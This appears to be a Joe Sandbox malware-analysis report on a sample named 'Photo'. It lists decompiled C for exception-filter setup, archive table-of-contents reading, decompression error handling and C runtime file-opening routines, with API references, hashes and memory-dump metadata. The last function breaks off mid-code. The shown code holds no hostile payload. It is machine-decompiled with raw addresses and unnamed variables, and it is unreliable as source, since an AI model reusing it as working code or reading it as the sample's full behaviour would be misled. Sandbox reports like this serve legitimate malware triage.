Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 73d4d3c7be8c7e354c7a660305dd74377e68c28be28fb63d66cf6686c89dd339
Instruction ID: c3d60430992f40f54686db7e25c338fee18e13ea738a5124542b6e24858e8689
Opcode Fuzzy Hash: 73d4d3c7be8c7e354c7a660305dd74377e68c28be28fb63d66cf6686c89dd339
Instruction Fuzzy Hash: CCE0B631400A88ABCF536F55DD09A6C7B6AEB58785F544414F8059A522CBB5DEC2CB90

Uniqueness

Uniqueness Score: -1.00%

Function 001D81BD Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E001D81BD() {
				_Unknown_base(*)()* _t1;

				_t1 = SetUnhandledExceptionFilter(E001D81C9); // executed
				return _t1;
			}

0x001d81c2
0x001d81c8

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_000081C9,001D785E), ref: 001D81C2

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: aabd4b2db93db7434a1ecd8d94ef9b39fd4ddc0871478dbfe654496d2ad6ead6
Instruction ID: b5c84e83ff0b092904e363ec7b7aee61614803049b697e665e0d5d763ba11eb1
Opcode Fuzzy Hash: aabd4b2db93db7434a1ecd8d94ef9b39fd4ddc0871478dbfe654496d2ad6ead6
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 001D1560 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			E001D1560(void* __ecx, void* __edx, void* __ebp, signed int* _a4) {
				void* _t14;
				signed int _t15;
				void* _t18;
				signed int _t19;
				void* _t20;
				signed int _t26;
				signed int _t28;
				void* _t31;
				void* _t32;
				void* _t33;
				signed int* _t34;
				void* _t36;
				void* _t37;

				_t33 = __edx;
				_t32 = __ecx;
				_t34 = _a4;
				if( *_t34 != 0) {
					L2:
					_t14 = E001D1120(_t33, _t34);
					_t37 = _t36 + 4;
					_t49 = _t14 - 1;
					if(_t14 < 1) {
						E001DA069(_t33,  *_t34, 0, 2); // executed
						_t14 = E001DA5DB(_t33, _t49,  *_t34); // executed
						_t37 = _t37 + 0x10;
					}
					_t15 = E001D13D0(_t33, _t34, _t14);
					if(_t15 == 0xffffffff) {
						goto L7;
					} else {
						_t3 =  &(_t34[9]); // 0xccccccc3
						_push( *_t3);
						_t34[0x101b] = 0;
						L001D775A();
						_push(0);
						 *0x1fc954 = _t15;
						_t5 =  &(_t34[7]); // 0x5effc883
						L001D775A();
						_t6 =  &(_t34[1]); // 0x8b1a74c0
						_t18 = E001DA069(_t33,  *_t34, _t15 +  *_t6,  *_t5); // executed
						_t7 =  &(_t34[8]); // 0x5ec033c3
						_push( *_t7);
						L001D775A();
						_push(_t18);
						_t19 = E001D995B(_t32);
						_t34[2] = _t19;
						if(_t19 != 0) {
							_push( *_t34);
							_t9 =  &(_t34[8]); // 0x5ec033c3
							L001D775A();
							_t10 =  &(_t34[2]); // 0x74c08506, executed
							_t20 = E001D9C7E( *_t10, _t19,  *_t9, 1); // executed
							__eflags = _t20 - 1;
							if(_t20 >= 1) {
								_t11 =  &(_t34[8]); // 0x5ec033c3
								_push( *_t11);
								L001D775A();
								_t12 =  &(_t34[2]); // 0x74c08506
								_t34[3] = _t20 +  *_t12;
								__eflags = E001D9A87( *_t34);
								if(__eflags == 0) {
									E001D1200(_t34);
									__eflags = 0;
									return 0;
								} else {
									_push("Error on file\n.");
									_t26 = E001D1A10(_t31, __eflags) | 0xffffffff;
									__eflags = _t26;
									return _t26;
								}
							} else {
								_push("Could not read from file.");
								_push("fread");
								_t28 = E001D17F0(_t31) | 0xffffffff;
								__eflags = _t28;
								return _t28;
							}
						} else {
							_push("Could not allocate buffer for TOC.");
							_push("malloc");
							_t15 = E001D17F0(_t31);
							goto L7;
						}
					}
				} else {
					_t2 =  &(_t34[0x1a]); // 0x1d17d8
					_t15 = E001D2900(_t31, _t2, "rb");
					_t36 = _t36 + 8;
					 *_t34 = _t15;
					if(_t15 == 0) {
						L7:
						return _t15 | 0xffffffff;
					} else {
						goto L2;
					}
				}
			}

0x001d1560
0x001d1560
0x001d1561
0x001d1568
0x001d1585
0x001d1586
0x001d158b
0x001d158e
0x001d1591
0x001d1599
0x001d15a0
0x001d15a5
0x001d15a5
0x001d15aa
0x001d15b5
0x00000000
0x001d15b7
0x001d15b7
0x001d15b7
0x001d15ba
0x001d15c4
0x001d15c9
0x001d15cb
0x001d15d0
0x001d15d3
0x001d15d8
0x001d15de
0x001d15e6
0x001d15e6
0x001d15e9
0x001d15ee
0x001d15ef
0x001d15f7
0x001d15fc
0x001d1615
0x001d1619
0x001d161c
0x001d1622
0x001d1625
0x001d162d
0x001d1630
0x001d1649
0x001d1649
0x001d164c
0x001d1651
0x001d1656
0x001d1661
0x001d1663
0x001d1678
0x001d1680
0x001d1683
0x001d1665
0x001d1665
0x001d1672
0x001d1672
0x001d1676
0x001d1676
0x001d1632
0x001d1632
0x001d1637
0x001d1644
0x001d1644
0x001d1648
0x001d1648
0x001d15fe
0x001d15fe
0x001d1603
0x001d1608
0x00000000
0x001d160d
0x001d15fc
0x001d156a
0x001d156a
0x001d1573
0x001d1578
0x001d157b
0x001d157f
0x001d1610
0x001d1614
0x00000000
0x00000000
0x00000000
0x001d157f

APIs

htonl.WS2_32 ref: 001D15C4
htonl.WS2_32(5EFFC883), ref: 001D15D3
htonl.WS2_32(5EC033C3), ref: 001D15E9
htonl.WS2_32(5EC033C3), ref: 001D161C
__fread_nolock.LIBCMT ref: 001D1625
htonl.WS2_32(5EC033C3), ref: 001D164C

Strings

fread, xrefs: 001D1637
malloc, xrefs: 001D1603
Error on file., xrefs: 001D1665
Could not read from file., xrefs: 001D1632
Could not allocate buffer for TOC., xrefs: 001D15FE

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: htonl$__fread_nolock
String ID: Could not allocate buffer for TOC.$Could not read from file.$Error on file.$fread$malloc
API String ID: 3757756281-2332847760
Opcode ID: a59df8131eb19ed501b4c932befe97649a8de1fe7f337b1acfcf024032d3c8a4
Instruction ID: b7991619f97f86d348a365f73ddb905e69921f36e4536ecd9761bc3f14c9091c
Opcode Fuzzy Hash: a59df8131eb19ed501b4c932befe97649a8de1fe7f337b1acfcf024032d3c8a4
Instruction Fuzzy Hash: 5021B4B2C00600BBEB217B74EC03A567BD5BF34361F150E26F596913E3F762E9508692

Uniqueness

Uniqueness Score: -1.00%

Function 001EBE2F Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E001EBE2F(void* __ecx, void* __edx, intOrPtr* _a4, signed int* _a8, intOrPtr _a12, signed int _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v5;
				char _v6;
				void* _v12;
				signed int _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v36;
				signed int _v44;
				void _v48;
				char _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t114;
				void* _t122;
				signed int _t123;
				signed char _t124;
				signed int _t134;
				intOrPtr _t164;
				intOrPtr _t180;
				signed int* _t190;
				signed int _t192;
				char _t197;
				signed int _t203;
				signed int _t206;
				signed int _t215;
				signed int _t217;
				signed int _t219;
				signed int _t225;
				signed int _t227;
				signed int _t234;
				signed int _t235;
				signed int _t237;
				signed int _t239;
				void* _t240;
				signed char _t243;
				intOrPtr _t246;
				void* _t249;
				void* _t253;
				void* _t263;
				signed int _t264;
				signed int _t267;
				signed int _t270;
				signed int _t271;
				void* _t273;
				void* _t275;
				void* _t276;
				void* _t278;
				void* _t279;
				void* _t281;
				void* _t285;

				_t240 = __edx;
				_t263 = E001EBC03(__ecx,  &_v72, _a16, _a20, _a24);
				_t192 = 6;
				memcpy( &_v48, _t263, _t192 << 2);
				_t275 = _t273 + 0x1c;
				_t249 = _t263 + _t192 + _t192;
				_t264 = _t263 | 0xffffffff;
				if(_v36 != _t264) {
					_t114 = E001DE8E6(_t240, _t249, _t264, __eflags);
					_t190 = _a8;
					 *_t190 = _t114;
					__eflags = _t114 - _t264;
					if(_t114 != _t264) {
						_v20 = _v20 & 0x00000000;
						_v24 = 0xc;
						_t276 = _t275 - 0x18;
						 *_a4 = 1;
						_push(6);
						_v16 =  !(_a16 >> 7) & 1;
						_push( &_v24);
						_push(_a12);
						memcpy(_t276,  &_v48, 1 << 2);
						_t197 = 0;
						_t122 = E001EBB6E(); // executed
						_t253 = _t122;
						_t278 = _t276 + 0x2c;
						_v12 = _t253;
						__eflags = _t253 - 0xffffffff;
						if(_t253 != 0xffffffff) {
							L11:
							_t123 = GetFileType(_t253); // executed
							__eflags = _t123;
							if(_t123 != 0) {
								__eflags = _t123 - 2;
								if(_t123 != 2) {
									__eflags = _t123 - 3;
									_t124 = _v48;
									if(_t123 == 3) {
										_t124 = _t124 | 0x00000008;
										__eflags = _t124;
									}
								} else {
									_t124 = _v48 | 0x00000040;
								}
								_v5 = _t124;
								E001DE82F(_t197,  *_t190, _t253);
								_t243 = _v5 | 0x00000001;
								_v5 = _t243;
								_v48 = _t243;
								 *( *((intOrPtr*)(0x20a118 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) = _t243;
								_t203 =  *_t190;
								_t205 = (_t203 & 0x0000003f) * 0x30;
								__eflags = _a16 & 0x00000002;
								 *((char*)( *((intOrPtr*)(0x20a118 + (_t203 >> 6) * 4)) + 0x29 + (_t203 & 0x0000003f) * 0x30)) = 0;
								if((_a16 & 0x00000002) == 0) {
									L20:
									_v6 = 0;
									_push( &_v6);
									_push(_a16);
									_t279 = _t278 - 0x18;
									_t206 = 6;
									_push( *_t190);
									memcpy(_t279,  &_v48, _t206 << 2);
									_t134 = E001EB921(_t190,  &_v48 + _t206 + _t206,  &_v48);
									_t281 = _t279 + 0x30;
									__eflags = _t134;
									if(__eflags == 0) {
										 *((char*)( *((intOrPtr*)(0x20a118 + ( *_t190 >> 6) * 4)) + 0x29 + ( *_t190 & 0x0000003f) * 0x30)) = _v6;
										 *( *((intOrPtr*)(0x20a118 + ( *_t190 >> 6) * 4)) + 0x2d + ( *_t190 & 0x0000003f) * 0x30) =  *( *((intOrPtr*)(0x20a118 + ( *_t190 >> 6) * 4)) + 0x2d + ( *_t190 & 0x0000003f) * 0x30) ^ (_a16 >> 0x00000010 ^  *( *((intOrPtr*)(0x20a118 + ( *_t190 >> 6) * 4)) + 0x2d + ( *_t190 & 0x0000003f) * 0x30)) & 0x00000001;
										__eflags = _v5 & 0x00000048;
										if((_v5 & 0x00000048) == 0) {
											__eflags = _a16 & 0x00000008;
											if((_a16 & 0x00000008) != 0) {
												_t225 =  *_t190;
												_t227 = (_t225 & 0x0000003f) * 0x30;
												_t164 =  *((intOrPtr*)(0x20a118 + (_t225 >> 6) * 4));
												_t87 = _t164 + _t227 + 0x28;
												 *_t87 =  *(_t164 + _t227 + 0x28) | 0x00000020;
												__eflags =  *_t87;
											}
										}
										_t267 = _v44;
										__eflags = (_t267 & 0xc0000000) - 0xc0000000;
										if((_t267 & 0xc0000000) != 0xc0000000) {
											L31:
											__eflags = 0;
											return 0;
										} else {
											__eflags = _a16 & 0x00000001;
											if((_a16 & 0x00000001) == 0) {
												goto L31;
											}
											CloseHandle(_v12);
											_v44 = _t267 & 0x7fffffff;
											_t215 = 6;
											_push( &_v24);
											_push(_a12);
											memcpy(_t281 - 0x18,  &_v48, _t215 << 2);
											_t246 = E001EBB6E();
											__eflags = _t246 - 0xffffffff;
											if(_t246 != 0xffffffff) {
												_t217 =  *_t190;
												_t219 = (_t217 & 0x0000003f) * 0x30;
												__eflags = _t219;
												 *((intOrPtr*)( *((intOrPtr*)(0x20a118 + (_t217 >> 6) * 4)) + _t219 + 0x18)) = _t246;
												goto L31;
											}
											E001DCB06(GetLastError());
											 *( *((intOrPtr*)(0x20a118 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) =  *( *((intOrPtr*)(0x20a118 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) & 0x000000fe;
											E001DE9F8( *_t190);
											L10:
											goto L2;
										}
									}
									_t270 = _t134;
									goto L22;
								} else {
									_t270 = E001EBD7F(_t205,  *_t190);
									__eflags = _t270;
									if(__eflags != 0) {
										L22:
										E001E17FD(__eflags,  *_t190);
										return _t270;
									}
									goto L20;
								}
							}
							_t271 = GetLastError();
							E001DCB06(_t271);
							 *( *((intOrPtr*)(0x20a118 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) =  *( *((intOrPtr*)(0x20a118 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) & 0x000000fe;
							CloseHandle(_t253);
							__eflags = _t271;
							if(_t271 == 0) {
								 *((intOrPtr*)(E001DCB3C())) = 0xd;
							}
							goto L2;
						}
						_t234 = _v44;
						__eflags = (_t234 & 0xc0000000) - 0xc0000000;
						if((_t234 & 0xc0000000) != 0xc0000000) {
							L9:
							_t235 =  *_t190;
							_t237 = (_t235 & 0x0000003f) * 0x30;
							_t180 =  *((intOrPtr*)(0x20a118 + (_t235 >> 6) * 4));
							_t33 = _t180 + _t237 + 0x28;
							 *_t33 =  *(_t180 + _t237 + 0x28) & 0x000000fe;
							__eflags =  *_t33;
							E001DCB06(GetLastError());
							goto L10;
						}
						__eflags = _a16 & 0x00000001;
						if((_a16 & 0x00000001) == 0) {
							goto L9;
						}
						_t285 = _t278 - 0x18;
						_v44 = _t234 & 0x7fffffff;
						_t239 = 6;
						_push( &_v24);
						_push(_a12);
						memcpy(_t285,  &_v48, _t239 << 2);
						_t197 = 0;
						_t253 = E001EBB6E();
						_t278 = _t285 + 0x2c;
						_v12 = _t253;
						__eflags = _t253 - 0xffffffff;
						if(_t253 != 0xffffffff) {
							goto L11;
						}
						goto L9;
					} else {
						 *(E001DCB29()) =  *_t186 & 0x00000000;
						 *_t190 = _t264;
						 *((intOrPtr*)(E001DCB3C())) = 0x18;
						goto L2;
					}
				} else {
					 *(E001DCB29()) =  *_t188 & 0x00000000;
					 *_a8 = _t264;
					L2:
					return  *((intOrPtr*)(E001DCB3C()));
				}
			}

0x001ebe2f
0x001ebe52
0x001ebe56
0x001ebe57
0x001ebe57
0x001ebe57
0x001ebe59
0x001ebe5f
0x001ebe7a
0x001ebe7f
0x001ebe82
0x001ebe84
0x001ebe86
0x001ebea5
0x001ebeac
0x001ebeb3
0x001ebeb6
0x001ebec2
0x001ebec5
0x001ebecd
0x001ebece
0x001ebed1
0x001ebed1
0x001ebed3
0x001ebed8
0x001ebeda
0x001ebedd
0x001ebee5
0x001ebee8
0x001ebf55
0x001ebf56
0x001ebf5c
0x001ebf5e
0x001ebfa7
0x001ebfaa
0x001ebfb3
0x001ebfb6
0x001ebfb9
0x001ebfbb
0x001ebfbb
0x001ebfbb
0x001ebfac
0x001ebfaf
0x001ebfaf
0x001ebfc0
0x001ebfc3
0x001ebfcf
0x001ebfd4
0x001ebfe0
0x001ebfea
0x001ebfee
0x001ebff8
0x001ebffb
0x001ec006
0x001ec00b
0x001ec01b
0x001ec01e
0x001ec022
0x001ec023
0x001ec029
0x001ec02e
0x001ec031
0x001ec033
0x001ec035
0x001ec03a
0x001ec03d
0x001ec03f
0x001ec069
0x001ec08d
0x001ec091
0x001ec095
0x001ec097
0x001ec09b
0x001ec09d
0x001ec0a7
0x001ec0aa
0x001ec0b1
0x001ec0b1
0x001ec0b1
0x001ec0b1
0x001ec09b
0x001ec0b6
0x001ec0c2
0x001ec0c4
0x001ec14f
0x001ec14f
0x00000000
0x001ec0ca
0x001ec0ca
0x001ec0ce
0x00000000
0x00000000
0x001ec0d3
0x001ec0e5
0x001ec0ed
0x001ec0f0
0x001ec0f1
0x001ec0f4
0x001ec0fb
0x001ec100
0x001ec103
0x001ec137
0x001ec141
0x001ec141
0x001ec14b
0x00000000
0x001ec14b
0x001ec10c
0x001ec125
0x001ec12c
0x001ebf4f
0x00000000
0x001ebf4f
0x001ec0c4
0x001ec041
0x00000000
0x001ec00d
0x001ec014
0x001ec017
0x001ec019
0x001ec043
0x001ec045
0x00000000
0x001ec04b
0x00000000
0x001ec019
0x001ec00b
0x001ebf66
0x001ebf69
0x001ebf84
0x001ebf89
0x001ebf8f
0x001ebf91
0x001ebf9c
0x001ebf9c
0x00000000
0x001ebf91
0x001ebeea
0x001ebef1
0x001ebef3
0x001ebf2a
0x001ebf2a
0x001ebf34
0x001ebf37
0x001ebf3e
0x001ebf3e
0x001ebf3e
0x001ebf4a
0x00000000
0x001ebf4a
0x001ebef5
0x001ebef9
0x00000000
0x00000000
0x001ebefb
0x001ebf0a
0x001ebf0f
0x001ebf12
0x001ebf13
0x001ebf16
0x001ebf16
0x001ebf1d
0x001ebf1f
0x001ebf22
0x001ebf25
0x001ebf28
0x00000000
0x00000000
0x00000000
0x001ebe88
0x001ebe8d
0x001ebe90
0x001ebe97
0x00000000
0x001ebe97
0x001ebe61
0x001ebe66
0x001ebe6c
0x001ebe6e
0x00000000
0x001ebe73

APIs

Part of subcall function 001EBB6E: CreateFileW.KERNELBASE(00000000,00000000,?,001EBED8,?,?,00000000,?,001EBED8,00000000,0000000C), ref: 001EBB8B

GetLastError.KERNEL32 ref: 001EBF43
__dosmaperr.LIBCMT ref: 001EBF4A
GetFileType.KERNELBASE(00000000), ref: 001EBF56
GetLastError.KERNEL32 ref: 001EBF60
__dosmaperr.LIBCMT ref: 001EBF69
CloseHandle.KERNEL32(00000000), ref: 001EBF89
CloseHandle.KERNEL32(?), ref: 001EC0D3
GetLastError.KERNEL32 ref: 001EC105
__dosmaperr.LIBCMT ref: 001EC10C

Strings

H, xrefs: 001EC091

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 19149298e091edf6314bb9997757a1faa1280c870001a9509adaba3aa00d6c38
Instruction ID: 31ffeebec242a3f3fe229825d91b05fe74ace388683842432523cc4ce737c270
Opcode Fuzzy Hash: 19149298e091edf6314bb9997757a1faa1280c870001a9509adaba3aa00d6c38
Instruction Fuzzy Hash: D8A13932A046949FDF19DF68DC927AE7BA1AB06320F14015AF815DF3D2DB359C12CB91

Uniqueness

Uniqueness Score: -1.00%

Function 001D1220 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 56%

			E001D1220(void* __ecx, void* __edx) {
				void* __ebx;
				void* __ebp;
				intOrPtr _t10;
				void* _t12;
				intOrPtr _t13;
				void* _t14;
				intOrPtr _t15;
				void* _t31;
				intOrPtr _t32;
				void* _t37;
				void* _t38;
				intOrPtr* _t39;
				intOrPtr _t41;
				intOrPtr _t44;
				void* _t49;
				void* _t51;
				void* _t52;

				_t38 = __edx;
				_t37 = __ecx;
				_t39 =  *((intOrPtr*)(_t49 + 8));
				if( *_t39 != 0) {
					L3:
					_push(_t31);
					_t44 =  *((intOrPtr*)(_t49 + 0x14));
					_push(0);
					L001D775A();
					_t12 = E001DA069(_t38,  *_t39, _t10 +  *((intOrPtr*)(_t39 + 4)),  *((intOrPtr*)(_t44 + 4))); // executed
					_push( *((intOrPtr*)(_t44 + 8)));
					L001D775A();
					_push(_t12); // executed
					_t13 = E001D995B(_t37); // executed
					_t32 = _t13;
					_t51 = _t49 + 0x10;
					__eflags = _t32;
					if(__eflags != 0) {
						_push( *_t39);
						L001D775A();
						_t14 = E001D9C7E(_t32, _t13,  *((intOrPtr*)(_t44 + 8)), 1); // executed
						_t52 = _t51 + 0x10;
						__eflags = _t14 - 1;
						if(__eflags >= 0) {
							__eflags =  *((char*)(_t44 + 0x10)) - 1;
							if(__eflags != 0) {
								L10:
								_t15 =  *_t39;
								__eflags = _t15;
								if(__eflags != 0) {
									_push(_t15); // executed
									E001D99DC(_t37, _t38, __eflags); // executed
									 *_t39 = 0;
								}
								return _t32;
							} else {
								_push(_t44);
								_t41 = E001D1030(_t37, __eflags, _t32); // executed
								L001D9956(_t32); // executed
								_t52 = _t52 + 0xc;
								_t32 = _t41;
								__eflags = _t41;
								if(__eflags != 0) {
									goto L10;
								} else {
									E001D1A80(_t32, __eflags, "Error decompressing %s\n", _t44 + 0x12);
									__eflags = 0;
									return 0;
								}
							}
						} else {
							_push("Could not read from file\n");
							E001D1A80(_t32, __eflags);
							L001D9956(_t32);
							__eflags = 0;
							return 0;
						}
					} else {
						_push("Could not allocate read buffer\n");
						E001D1A80(_t32, __eflags);
						__eflags = 0;
						return 0;
					}
				} else {
					_t10 = E001D2900(_t31, _t39 + 0x68, "rb");
					_t49 = _t49 + 8;
					 *_t39 = _t10;
					_t59 = _t10;
					if(_t10 != 0) {
						goto L3;
					} else {
						_push("Cannot open archive file\n");
						E001D1A80(_t31, _t59);
						return 0;
					}
				}
			}

0x001d1220
0x001d1220
0x001d1221
0x001d1228
0x001d1252
0x001d1252
0x001d1254
0x001d1258
0x001d125d
0x001d1268
0x001d1270
0x001d1273
0x001d1278
0x001d1279
0x001d127e
0x001d1280
0x001d1283
0x001d1285
0x001d129a
0x001d12a1
0x001d12a8
0x001d12ad
0x001d12b0
0x001d12b3
0x001d12ce
0x001d12d2
0x001d1305
0x001d1305
0x001d1307
0x001d1309
0x001d130b
0x001d130c
0x001d1314
0x001d1314
0x001d131f
0x001d12d4
0x001d12d5
0x001d12dd
0x001d12df
0x001d12e4
0x001d12e7
0x001d12e9
0x001d12ec
0x00000000
0x001d12ee
0x001d12f7
0x001d12ff
0x001d1304
0x001d1304
0x001d12ec
0x001d12b5
0x001d12b5
0x001d12ba
0x001d12c0
0x001d12c8
0x001d12cd
0x001d12cd
0x001d1287
0x001d1287
0x001d128c
0x001d1294
0x001d1299
0x001d1299
0x001d122a
0x001d1233
0x001d1238
0x001d123b
0x001d123d
0x001d123f
0x00000000
0x001d1241
0x001d1241
0x001d1246
0x001d1251
0x001d1251
0x001d123f

APIs

htonl.WS2_32(?), ref: 001D125D
htonl.WS2_32(?), ref: 001D1273
htonl.WS2_32(?), ref: 001D12A1
__fread_nolock.LIBCMT ref: 001D12A8

Strings

Error decompressing %s, xrefs: 001D12F2
Could not read from file, xrefs: 001D12B5
Cannot open archive file, xrefs: 001D1241
Could not allocate read buffer, xrefs: 001D1287

Memory Dump Source

Source File: 00000000.00000002.438568917.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.438553301.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.440865092.00000000001F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.00000000001FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441230772.0000000000209000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.441376260.000000000020B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_Photo.jbxd

Similarity

API ID: htonl$__fread_nolock
String ID: Cannot open archive file$Could not allocate read buffer$Could not read from file$Error decompressing %s
API String ID: 3757756281-3387914768
Opcode ID: f9d9a1e2e10972051e05c5b5454293c912259b8bc3daaf8dae8843f2d0b143b2
Instruction ID: 66d343382357f053597beeadb8f9cbff161bc9587d2c75d7d61efac76ba6c547
Opcode Fuzzy Hash: f9d9a1e2e10972051e05c5b5454293c912259b8bc3daaf8dae8843f2d0b143b2
Instruction Fuzzy Hash: 7D21F8B2A052157AEB007BB8FC86A6B7798BF70364F500533F905D2347FB76E9548261

Uniqueness

Uniqueness Score: -1.00%

Function 001E202F Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 300
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E001E202F(signed int _a4, void* _a8, unsigned int _a12) {
				signed int _v5;
				char _v6;
				void* _v12;
				unsigned int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void* _v32;
				long _v36;
				void* _v40;
				long _v44;
				signed int* _t143;
				signed int _t145;
				intOrPtr _t149;
				signed int _t153;
				signed int _t155;
				signed char _t157;
				unsigned int _t158;
				intOrPtr _t162;
				void* _t163;
				signed int _t164;
				signed int _t167;
				long _t168;
				intOrPtr _t175;
				signed int _t176;
				intOrPtr _t178;
				signed int _t180;
				signed int _t184;
				char _t191;
				char* _t192;
				char _t199;
				char* _t200;
				signed char _t211;
				signed int _t213;
				long _t215;
				signed int _t216;
				char _t218;
				signed char _t222;
				signed int _t223;
				unsigned int _t224;
				intOrPtr _t225;
				unsigned int _t229;
				intOrPtr _t231;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				signed int _t235;
				signed char _t236;
				signed int _t237;
				signed int _t239;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				signed int _t246;
				void* _t248;
				void* _t249;

				_t213 = _a4;
				if(_t213 != 0xfffffffe) {
					__eflags = _t213;
					if(_t213 < 0) {
						L58:
						_t143 = E001DCB29();
						 *_t143 =  *_t143 & 0x00000000;
						__eflags =  *_t143;
						 *((intOrPtr*)(E001DCB3C())) = 9;
						L59:
						_t145 = E001E1691();
						goto L60;
					}
					__eflags = _t213 -  *0x20a318; // 0x40
					if(__eflags >= 0) {
						goto L58;
					}
					_v24 = 1;
					_t239 = _t213 >> 6;
					_t235 = (_t213 & 0x0000003f) * 0x30;
					_v20 = _t239;
					_t149 =  *((intOrPtr*)(0x20a118 + _t239 * 4));
					_v28 = _t235;
					_t222 =  *((intOrPtr*)(_t235 + _t149 + 0x28));
					_v5 = _t222;
					__eflags = _t222 & 0x00000001;
					if((_t222 & 0x00000001) == 0) {
						goto L58;
					}
					_t223 = _a12;
					__eflags = _t223 - 0x7fffffff;
					if(_t223 <= 0x7fffffff) {
						__eflags = _t223;
						if(_t223 == 0) {
							L57:
							return 0;
						}
						__eflags = _v5 & 0x00000002;
						if((_v5 & 0x00000002) != 0) {
							goto L57;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							goto L6;
						}
						_t153 =  *((intOrPtr*)(_t235 + _t149 + 0x29));
						_v5 = _t153;
						_v32 =  *((intOrPtr*)(_t235 + _t149 + 0x18));
						_t246 = 0;
						_t155 = _t153 - 1;
						__eflags = _t155;
						if(_t155 == 0) {
							_t236 = _v24;
							_t157 =  !_t223;
							__eflags = _t236 & _t157;
							if((_t236 & _t157) != 0) {
								_t158 = 4;
								_t224 = _t223 >> 1;
								_v16 = _t158;
								__eflags = _t224 - _t158;
								if(_t224 >= _t158) {
									_t158 = _t224;
									_v16 = _t224;
								}
								_t246 = E001E0964(_t224, _t158);
								E001E092A(0);
								E001E092A(0);
								_t249 = _t248 + 0xc;
								_v12 = _t246;
								__eflags = _t246;
								if(_t246 != 0) {
									_t162 = E001E270E(_t213, 0, 0, _v24);
									_t225 =  *((intOrPtr*)(0x20a118 + _t239 * 4));
									_t248 = _t249 + 0x10;
									_t240 = _v28;
									 *((intOrPtr*)(_t240 + _t225 + 0x20)) = _t162;
									_t163 = _t246;
									 *(_t240 + _t225 + 0x24) = _t236;
									_t235 = _t240;
									_t223 = _v16;
									L21:
									_t241 = 0;
									_v40 = _t163;
